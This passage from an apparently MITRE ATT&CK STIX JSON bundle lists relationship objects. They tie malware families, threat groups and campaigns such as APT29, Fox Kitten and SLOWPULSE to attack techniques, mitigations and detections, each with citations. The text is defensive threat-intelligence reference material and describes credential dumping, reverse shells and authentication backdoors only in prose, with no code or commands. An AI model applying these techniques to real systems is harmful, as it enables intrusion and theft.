QA)","relationship_type":"uses","source_ref":"intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00ce5c68-cb85-46d1-a6ba-7b2b767b0f09","type":"relationship","created":"2020-08-13T14:58:25.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:58:25.315Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can gather information about the user on a compromised host.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00d1f959-5469-4a9c-b33d-93f315719a6c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-17T02:46:42.658Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) has used HTTP for C2, including sending error codes in Cookie headers.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00d3d6a8-c711-4bb5-bf0a-e17c0ecac8c8","type":"relationship","created":"2019-01-30T15:19:14.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2020-03-16T16:39:52.451Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00de3cf9-73c4-4b04-a074-a5d73e9b61de","type":"relationship","created":"2020-12-29T19:13:11.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T19:13:11.251Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has downloaded additional tools including [PsExec](https://attack.mitre.org/software/S0029) directly to endpoints.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00e25bca-7df1-464e-94a4-cc13124e1d0c","type":"relationship","created":"2020-04-29T18:44:04.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-29T18:44:04.814Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) sent username, computer name, and the previously generated UUID in reply to a \"who\" command from C2.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--00e2899a-beb7-448a-b003-a8b67e0b0daf","created":"2024-02-26T14:26:14.298Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-26T14:26:14.298Z","description":"Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--00e7784e-d0c8-48d8-a377-7ec83cf6a474","created":"2023-03-26T16:19:45.553Z","revoked":false,"external_references":[{"source_name":"Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"},{"source_name":"Secureworks IRON RITUAL Profile","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:19:45.553Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) created tokens using compromised SAML signing certificates.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Secureworks IRON RITUAL Profile)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--00e99176-c74e-4f49-a498-c66a71612a5b","created":"2021-04-07T13:57:06.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.834Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use self signed Java applets to execute signed applet attacks.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--00e9a38d-6dc5-4d67-b2fe-977b1c7d17dd","created":"2019-04-12T17:01:01.266Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)","modified":"2022-07-28T18:55:35.993Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--00ed8575-5d79-46c3-adea-d0e1bf5dc14a","created":"2022-01-11T14:58:01.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.922Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can identity the OS locale of a compromised host.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--00f44cd5-9afc-472f-9743-251d243798a0","created":"2022-02-01T16:26:43.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:31:47.481Z","description":"[Torisma](https://attack.mitre.org/software/S0678) has been Base64 encoded and AES encrypted.(Citation: McAfee Lazarus Nov 2020)","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00f4c60b-36c4-4ec5-affd-38f89687d957","type":"relationship","created":"2020-08-11T21:15:35.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-09-02T21:40:20.748Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can use HTTP communications for C2, as well as using the WinHTTP library to make requests to the Exchange Web Services API.(Citation: Unit42 RDAT July 2020)","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00f95333-8677-4c6c-9f67-c8ebf0fcf607","type":"relationship","created":"2020-10-19T16:48:08.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NIST 800-63-3","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}],"modified":"2020-10-21T01:45:59.183Z","description":"Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--00fa545f-2333-4ae8-8f59-3fbb56e68d43","created":"2022-03-30T14:26:51.836Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.","modified":"2022-04-19T23:58:54.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00fb61de-33f5-4e85-aca3-8e4016aa0bf8","type":"relationship","created":"2020-12-29T20:23:05.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2021-04-12T19:34:40.099Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used a Perl reverse shell to communicate with C2.(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00fd8c87-da99-42b3-a792-0d224732c84a","type":"relationship","created":"2022-02-02T15:55:21.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:55:21.760Z","description":"(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--00fe17bc-f783-4cba-9171-e1fde2fa0efa","created":"2023-03-26T21:11:13.777Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T21:11:13.777Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used a compromised O365 administrator account to create a new Service Principal.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01000868-19de-44dd-bea5-ad30dae460ad","created":"2023-09-05T17:59:44.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.630Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) can use WMI to execute PowerShell commands on a compromised machine.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0109ee05-c2a9-4dcf-80d1-f859500c97c9","type":"relationship","created":"2019-06-28T17:40:32.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2019-07-01T18:16:33.116Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has downloaded additional Lua scripts from the C2.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--010ee4a6-41cb-4ce5-8dc2-9a1d1003ec4e","created":"2022-04-10T18:32:35.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022.","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-21T21:16:58.413Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has encoded PowerShell commands in Base64.(Citation: CrowdStrike AQUATIC PANDA December 2021)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0110e04e-5812-4b69-9700-037b52d3ebb4","created":"2022-04-11T17:47:16.063Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pandora](https://attack.mitre.org/software/S0664) can load additional drivers and files onto a victim machine.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-11T17:47:16.063Z","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01122760-11f7-4fc9-8500-65ee57a6494f","created":"2024-07-25T17:31:00.985Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:31:00.985Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) used [Reg](https://attack.mitre.org/software/S0075) to dump the Security Account Manager (SAM) hive from victim machines for follow-on credential extraction.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--011286cc-53bc-4910-bf38-79f1d79fc707","created":"2024-02-12T20:43:17.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T21:20:11.392Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) uses the Delphi methods Sysutils::DiskSize and GlobalMemoryStatusEx to collect disk size and physical memory as part of the malware's anti-analysis checks for running in a virtualized environment.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) will gather various system information such as display adapter description, operating system type and version, processor type, and RAM amount.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0112eb25-7f6c-49cd-95c8-bf0d49f7c380","created":"2019-01-30T19:18:20.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro MacOS April 2018","description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:29:06.966Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) encrypts its strings in RSA256 and encodes them in a custom base64 scheme and XOR.(Citation: TrendMicro MacOS April 2018)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0117960a-178b-41f8-b7c1-5a4852be582a","created":"2024-02-07T19:19:22.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-18T20:03:13.830Z","description":"[SLOWPULSE](https://attack.mitre.org/software/S1104) can modify LDAP and two factor authentication flows by inspecting login credentials and forcing successful authentication if the provided password matches a chosen backdoor password.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4","target_ref":"attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01202a82-56cc-4770-abf1-1a37c8717dba","type":"relationship","created":"2020-12-07T20:11:44.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T20:11:44.020Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has used the WinRAR utility to compress and encrypt stolen files.(Citation: ESET Crutch December 